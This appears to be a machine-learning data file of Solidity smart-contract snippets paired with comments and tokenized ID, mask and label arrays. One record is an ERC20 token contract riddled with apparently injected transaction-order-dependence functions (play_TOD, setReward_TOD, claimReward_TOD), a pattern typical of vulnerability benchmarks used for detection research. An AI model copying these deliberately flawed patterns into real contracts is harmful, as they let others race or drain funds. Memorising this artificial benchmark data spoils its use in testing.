contract SwapFlashLoan is Swap { uint256 public flashLoanFeeBPS; uint256 public protocolFeeShareBPS; uint256 public constant MAX_BPS = 10000; event FlashLoan( address indexed receiver, uint8 tokenIndex, uint256 amount, uint256 amountFee, uint256 protocolFee ); function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public payable virtual override initializer { Swap.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); } function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external payable nonReentrant { uint8 tokenIndex = getTokenIndex(address(token)); uint256 availableLiquidityBefore = token.balanceOf(address(this)); uint256 protocolBalanceBefore = availableLiquidityBefore.sub( swapStorage.balances[tokenIndex] ); require( amount > 0 && availableLiquidityBefore >= amount, "invalid amount" ); uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000); uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000); require(amountFee > 0, "amount is small for a flashLoan"); token.safeTransfer(receiver, amount); IFlashLoanReceiver(receiver).executeOperation( address(this), address(token), amount, amountFee, params ); uint256 availableLiquidityAfter = token.balanceOf(address(this)); require( availableLiquidityAfter >= availableLiquidityBefore.add(amountFee), "flashLoan fee is not met" ); swapStorage.balances[tokenIndex] = availableLiquidityAfter .sub(protocolBalanceBefore) .sub(protocolFee); emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee); } function setFlashLoanFees( uint256 newFlashLoanFeeBPS, uint256 newProtocolFeeShareBPS ) external payable onlyOwner { require( newFlashLoanFeeBPS > 0 && newFlashLoanFeeBPS <= MAX_BPS && newProtocolFeeShareBPS <= MAX_BPS, "fees are not in valid range" ); flashLoanFeeBPS = newFlashLoanFeeBPS; protocolFeeShareBPS = newProtocolFeeShareBPS; } }
11,523,361
[ 1, 12521, 300, 432, 934, 429, 12521, 4471, 316, 18035, 560, 18, 225, 1220, 6835, 353, 14549, 364, 276, 641, 973, 434, 1219, 1786, 93, 29231, 2423, 7176, 261, 1332, 18, 1041, 434, 14114, 71, 9896, 13, 471, 5859, 13667, 10480, 2619, 18, 12109, 12561, 392, 511, 52, 261, 48, 18988, 24237, 7561, 13, 635, 443, 1724, 310, 3675, 2430, 316, 6049, 25706, 364, 392, 7829, 434, 326, 2845, 1147, 716, 8686, 3675, 7433, 434, 326, 2845, 18, 12109, 848, 18305, 2845, 2430, 471, 598, 9446, 3675, 7433, 434, 1147, 12, 87, 2934, 8315, 813, 279, 7720, 3086, 326, 25007, 2430, 10555, 16, 279, 444, 14036, 316, 2789, 1492, 23500, 5571, 16859, 358, 326, 511, 18124, 18, 657, 648, 434, 801, 18639, 3209, 16, 3981, 848, 11722, 3312, 443, 917, 1282, 16, 1352, 6679, 16, 578, 2202, 17, 9406, 598, 9446, 87, 300, 1492, 12349, 326, 7169, 434, 326, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 12738, 11353, 1504, 304, 353, 12738, 288, 203, 565, 2254, 5034, 1071, 9563, 1504, 304, 14667, 38, 5857, 31, 203, 565, 2254, 5034, 1071, 1771, 14667, 9535, 38, 5857, 31, 203, 565, 2254, 5034, 1071, 5381, 4552, 67, 38, 5857, 273, 12619, 31, 203, 203, 565, 871, 15014, 1504, 304, 12, 203, 3639, 1758, 8808, 5971, 16, 203, 3639, 2254, 28, 1147, 1016, 16, 203, 3639, 2254, 5034, 3844, 16, 203, 3639, 2254, 5034, 3844, 14667, 16, 203, 3639, 2254, 5034, 1771, 14667, 203, 565, 11272, 203, 203, 565, 445, 4046, 12, 203, 3639, 467, 654, 39, 3462, 8526, 3778, 389, 1631, 20212, 5157, 16, 203, 3639, 2254, 28, 8526, 3778, 15105, 16, 203, 3639, 533, 3778, 12423, 1345, 461, 16, 203, 3639, 533, 3778, 12423, 1345, 5335, 16, 203, 3639, 2254, 5034, 389, 69, 16, 203, 3639, 2254, 5034, 389, 21386, 16, 203, 3639, 2254, 5034, 389, 3666, 14667, 16, 203, 3639, 1758, 12423, 1345, 2326, 1887, 203, 203, 565, 262, 1071, 8843, 429, 5024, 3849, 12562, 288, 203, 3639, 12738, 18, 11160, 12, 203, 5411, 389, 1631, 20212, 5157, 16, 203, 5411, 15105, 16, 203, 5411, 12423, 1345, 461, 16, 203, 5411, 12423, 1345, 5335, 16, 203, 5411, 389, 69, 16, 203, 5411, 389, 21386, 16, 203, 5411, 389, 3666, 14667, 16, 203, 5411, 12423, 1345, 2326, 1887, 203, 3639, 11272, 203, 565, 289, 203, 203, 203, 565, 445, 9563, 1504, 304, 12, 203, 3639, 1758, 5971, 16, 203, 3639, 467, 654, 39, 3462, 1147, 16, 203, 3639, 2254, 5034, 3844, 2 ]
./full_match/1/0x5646077E2779a4e8607A99257bD76F627A262d86/sources/contracts/PriceFeedBondDepository.sol
Info for incremental adjustments to control variable
struct Adjust { } constructor ( address _OHM, address _principle, address _treasury, address _DAO, address _feed
3,136,800
[ 1, 966, 364, 20649, 5765, 1346, 358, 3325, 2190, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 17720, 288, 203, 565, 289, 203, 203, 203, 203, 203, 565, 3885, 261, 7010, 3639, 1758, 389, 51, 44, 49, 16, 203, 3639, 1758, 389, 683, 9523, 2444, 16, 203, 3639, 1758, 389, 27427, 345, 22498, 16, 7010, 3639, 1758, 389, 18485, 16, 203, 3639, 1758, 389, 7848, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xA832e461F1214D4847BB949B6dDae66F21719Cc0/sources/Snake.sol
exclude owner and this contract from feeexclude owner and this contract from max Txnexclude owner and this contract from max hold limit
constructor() { _balances[owner()] = _totalSupply; marketingWallet = address(0x0152006c9AF511a6b8537E93AAfee822A20dA1B3); dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedFromFee[address(dexRouter)] = true; isExcludedFromMaxTxn[address(dexRouter)] = true; isExcludedFromMaxHolding[address(dexRouter)] = true; dexPair = IDexFactory(dexRouter.factory()).createPair( address(this), dexRouter.WETH() ); isExcludedFromMaxHolding[dexPair] = true; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromMaxTxn[owner()] = true; isExcludedFromMaxTxn[address(this)] = true; isExcludedFromMaxHolding[owner()] = true; isExcludedFromMaxHolding[address(this)] = true; isExcludedFromMaxHolding[marketingWallet] = true; emit Transfer(address(0), owner(), _totalSupply); }
4,481,959
[ 1, 10157, 3410, 471, 333, 6835, 628, 14036, 10157, 3410, 471, 333, 6835, 628, 943, 20496, 10157, 3410, 471, 333, 6835, 628, 943, 6887, 1800, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 288, 203, 3639, 389, 70, 26488, 63, 8443, 1435, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 13667, 310, 16936, 273, 1758, 12, 20, 92, 1611, 25, 6976, 26, 71, 29, 6799, 25, 2499, 69, 26, 70, 7140, 6418, 41, 11180, 5284, 21386, 24532, 37, 3462, 72, 37, 21, 38, 23, 1769, 203, 203, 3639, 302, 338, 8259, 273, 1599, 338, 8259, 12, 20, 92, 27, 69, 26520, 72, 4313, 5082, 38, 24, 71, 42, 25, 5520, 27, 5520, 72, 42, 22, 39, 25, 72, 37, 7358, 24, 71, 26, 6162, 42, 3247, 5482, 40, 1769, 203, 3639, 353, 16461, 1265, 14667, 63, 2867, 12, 561, 8259, 25887, 273, 638, 31, 203, 3639, 353, 16461, 1265, 2747, 13789, 63, 2867, 12, 561, 8259, 25887, 273, 638, 31, 203, 3639, 353, 16461, 1265, 2747, 20586, 310, 63, 2867, 12, 561, 8259, 25887, 273, 638, 31, 203, 203, 3639, 302, 338, 4154, 273, 1599, 338, 1733, 12, 561, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 302, 338, 8259, 18, 59, 1584, 44, 1435, 203, 3639, 11272, 203, 3639, 353, 16461, 1265, 2747, 20586, 310, 63, 561, 4154, 65, 273, 638, 31, 203, 203, 3639, 353, 16461, 1265, 14667, 63, 8443, 1435, 65, 273, 638, 31, 203, 3639, 353, 16461, 1265, 14667, 63, 2867, 12, 2211, 25887, 273, 638, 31, 203, 203, 3639, 353, 16461, 1265, 2747, 13789, 63, 8443, 1435, 65, 273, 638, 31, 203, 3639, 353, 16461, 1265, 2747, 13789, 63, 2867, 2 ]
./partial_match/1/0xE19B0D53B6416D139B2A447C3aE7fb9fe161A12c/sources/src/cauldrons/CauldronV3_2.sol
@dev Concrete implementation of `borrow`. As long as there are tokens on this contract you can 'mint'... this enables limiting borrows
function _borrow(address to, uint256 amount) internal returns (uint256 part, uint256 share) { (totalBorrow, part) = totalBorrow.add(amount.add(feeAmount), true); BorrowCap memory cap = borrowLimit; require(totalBorrow.elastic <= cap.total, "Borrow Limit reached"); accrueInfo.feesEarned = accrueInfo.feesEarned.add(uint128(feeAmount)); uint256 newBorrowPart = userBorrowPart[msg.sender].add(part); require(newBorrowPart <= cap.borrowPartPerAddress, "Borrow Limit reached"); userBorrowPart[msg.sender] = newBorrowPart; share = bentoBox.toShare(magicInternetMoney, amount, false); bentoBox.transfer(magicInternetMoney, address(this), to, share); emit LogBorrow(msg.sender, to, amount.add(feeAmount), part); }
2,869,062
[ 1, 25845, 4471, 434, 1375, 70, 15318, 8338, 2970, 1525, 487, 1915, 854, 2430, 603, 333, 6835, 1846, 848, 296, 81, 474, 11, 2777, 333, 19808, 1800, 310, 324, 280, 3870, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 15318, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 2713, 1135, 261, 11890, 5034, 1087, 16, 2254, 5034, 7433, 13, 288, 203, 3639, 261, 4963, 38, 15318, 16, 1087, 13, 273, 2078, 38, 15318, 18, 1289, 12, 8949, 18, 1289, 12, 21386, 6275, 3631, 638, 1769, 203, 203, 3639, 605, 15318, 4664, 3778, 3523, 273, 225, 29759, 3039, 31, 203, 203, 3639, 2583, 12, 4963, 38, 15318, 18, 22318, 1648, 3523, 18, 4963, 16, 315, 38, 15318, 7214, 8675, 8863, 203, 203, 3639, 4078, 86, 344, 966, 18, 3030, 281, 41, 1303, 329, 273, 4078, 86, 344, 966, 18, 3030, 281, 41, 1303, 329, 18, 1289, 12, 11890, 10392, 12, 21386, 6275, 10019, 203, 540, 203, 3639, 2254, 5034, 394, 38, 15318, 1988, 273, 729, 38, 15318, 1988, 63, 3576, 18, 15330, 8009, 1289, 12, 2680, 1769, 203, 3639, 2583, 12, 2704, 38, 15318, 1988, 1648, 3523, 18, 70, 15318, 1988, 2173, 1887, 16, 315, 38, 15318, 7214, 8675, 8863, 203, 203, 3639, 729, 38, 15318, 1988, 63, 3576, 18, 15330, 65, 273, 394, 38, 15318, 1988, 31, 203, 203, 3639, 7433, 273, 324, 29565, 3514, 18, 869, 9535, 12, 11179, 26562, 23091, 16, 3844, 16, 629, 1769, 203, 3639, 324, 29565, 3514, 18, 13866, 12, 11179, 26562, 23091, 16, 1758, 12, 2211, 3631, 358, 16, 7433, 1769, 203, 203, 3639, 3626, 1827, 38, 15318, 12, 3576, 18, 15330, 16, 358, 16, 3844, 18, 1289, 12, 21386, 6275, 3631, 1087, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100 ]
/** * Source Code first verified at https://etherscan.io on Tuesday, May 7, 2019 (UTC) */ pragma solidity >=0.4.21 <0.6.0; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); address winner_TOD7; function play_TOD7(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD7 = msg.sender; } } function getReward_TOD7() public{ winner_TOD7.transfer(msg.value); } /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); address winner_TOD23; function play_TOD23(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD23 = msg.sender; } } function getReward_TOD23() public{ winner_TOD23.transfer(msg.value); } /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); bool claimed_TOD14 = false; address owner_TOD14; uint256 reward_TOD14; function setReward_TOD14() public { require (!claimed_TOD14); require(msg.sender == owner_TOD14); owner_TOD14.transfer(reward_TOD14); reward_TOD14 = msg.value; } function claimReward_TOD14(uint256 submission) public { require (!claimed_TOD14); require(submission < 10); msg.sender.transfer(reward_TOD14); claimed_TOD14 = true; } /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); bool claimed_TOD30 = false; address owner_TOD30; uint256 reward_TOD30; function setReward_TOD30() public { require (!claimed_TOD30); require(msg.sender == owner_TOD30); owner_TOD30.transfer(reward_TOD30); reward_TOD30 = msg.value; } function claimReward_TOD30(uint256 submission) public { require (!claimed_TOD30); require(submission < 10); msg.sender.transfer(reward_TOD30); claimed_TOD30 = true; } /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); bool claimed_TOD8 = false; address owner_TOD8; uint256 reward_TOD8; function setReward_TOD8() public { require (!claimed_TOD8); require(msg.sender == owner_TOD8); owner_TOD8.transfer(reward_TOD8); reward_TOD8 = msg.value; } function claimReward_TOD8(uint256 submission) public { require (!claimed_TOD8); require(submission < 10); msg.sender.transfer(reward_TOD8); claimed_TOD8 = true; } // solhint-disable-next-line no-simple-event-func-name address winner_TOD31; function play_TOD31(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD31 = msg.sender; } } function getReward_TOD31() public{ winner_TOD31.transfer(msg.value); } event Transfer(address indexed _from, address indexed _to, uint256 _value); address winner_TOD13; function play_TOD13(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD13 = msg.sender; } } function getReward_TOD13() public{ winner_TOD13.transfer(msg.value); } event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract HotDollarsToken is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; bool claimed_TOD26 = false; address owner_TOD26; uint256 reward_TOD26; function setReward_TOD26() public { require (!claimed_TOD26); require(msg.sender == owner_TOD26); owner_TOD26.transfer(reward_TOD26); reward_TOD26 = msg.value; } function claimReward_TOD26(uint256 submission) public { require (!claimed_TOD26); require(submission < 10); msg.sender.transfer(reward_TOD26); claimed_TOD26 = true; } mapping (address => uint256) public balances; bool claimed_TOD20 = false; address owner_TOD20; uint256 reward_TOD20; function setReward_TOD20() public { require (!claimed_TOD20); require(msg.sender == owner_TOD20); owner_TOD20.transfer(reward_TOD20); reward_TOD20 = msg.value; } function claimReward_TOD20(uint256 submission) public { require (!claimed_TOD20); require(submission < 10); msg.sender.transfer(reward_TOD20); claimed_TOD20 = true; } mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ bool claimed_TOD32 = false; address owner_TOD32; uint256 reward_TOD32; function setReward_TOD32() public { require (!claimed_TOD32); require(msg.sender == owner_TOD32); owner_TOD32.transfer(reward_TOD32); reward_TOD32 = msg.value; } function claimReward_TOD32(uint256 submission) public { require (!claimed_TOD32); require(submission < 10); msg.sender.transfer(reward_TOD32); claimed_TOD32 = true; } string public name; //fancy name: eg Simon Bucks bool claimed_TOD38 = false; address owner_TOD38; uint256 reward_TOD38; function setReward_TOD38() public { require (!claimed_TOD38); require(msg.sender == owner_TOD38); owner_TOD38.transfer(reward_TOD38); reward_TOD38 = msg.value; } function claimReward_TOD38(uint256 submission) public { require (!claimed_TOD38); require(submission < 10); msg.sender.transfer(reward_TOD38); claimed_TOD38 = true; } uint8 public decimals; //How many decimals to show. bool claimed_TOD4 = false; address owner_TOD4; uint256 reward_TOD4; function setReward_TOD4() public { require (!claimed_TOD4); require(msg.sender == owner_TOD4); owner_TOD4.transfer(reward_TOD4); reward_TOD4 = msg.value; } function claimReward_TOD4(uint256 submission) public { require (!claimed_TOD4); require(submission < 10); msg.sender.transfer(reward_TOD4); claimed_TOD4 = true; } string public symbol; //An identifier: eg SBX function HotDollarsToken() public { totalSupply = 3 * 1e28; name = "HotDollars Token"; decimals = 18; symbol = "HDS"; balances[msg.sender] = totalSupply; } address winner_TOD29; function play_TOD29(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD29 = msg.sender; } } function getReward_TOD29() public{ winner_TOD29.transfer(msg.value); } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } bool claimed_TOD36 = false; address owner_TOD36; uint256 reward_TOD36; function setReward_TOD36() public { require (!claimed_TOD36); require(msg.sender == owner_TOD36); owner_TOD36.transfer(reward_TOD36); reward_TOD36 = msg.value; } function claimReward_TOD36(uint256 submission) public { require (!claimed_TOD36); require(submission < 10); msg.sender.transfer(reward_TOD36); claimed_TOD36 = true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } address winner_TOD35; function play_TOD35(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD35 = msg.sender; } } function getReward_TOD35() public{ winner_TOD35.transfer(msg.value); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } bool claimed_TOD40 = false; address owner_TOD40; uint256 reward_TOD40; function setReward_TOD40() public { require (!claimed_TOD40); require(msg.sender == owner_TOD40); owner_TOD40.transfer(reward_TOD40); reward_TOD40 = msg.value; } function claimReward_TOD40(uint256 submission) public { require (!claimed_TOD40); require(submission < 10); msg.sender.transfer(reward_TOD40); claimed_TOD40 = true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } address winner_TOD33; function play_TOD33(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD33 = msg.sender; } } function getReward_TOD33() public{ winner_TOD33.transfer(msg.value); } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } address winner_TOD27; function play_TOD27(bytes32 guess) public{ if (keccak256(guess) == keccak256('hello')) { winner_TOD27 = msg.sender; } } function getReward_TOD27() public{ winner_TOD27.transfer(msg.value); } }
@notice `msg.sender` approves `_spender` to spend `_value` tokens @param _spender The address of the account able to transfer the tokens @param _value The amount of tokens to be approved for transfer @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success); bool claimed_TOD30 = false; address owner_TOD30; uint256 reward_TOD30; function setReward_TOD30() public { require (!claimed_TOD30); require(msg.sender == owner_TOD30); owner_TOD30.transfer(reward_TOD30); reward_TOD30 = msg.value; }
6,392,901
[ 1, 68, 3576, 18, 15330, 68, 6617, 3324, 1375, 67, 87, 1302, 264, 68, 358, 17571, 1375, 67, 1132, 68, 2430, 225, 389, 87, 1302, 264, 1021, 1758, 434, 326, 2236, 7752, 358, 7412, 326, 2430, 225, 389, 1132, 1021, 3844, 434, 2430, 358, 506, 20412, 364, 7412, 327, 17403, 326, 23556, 1703, 6873, 578, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
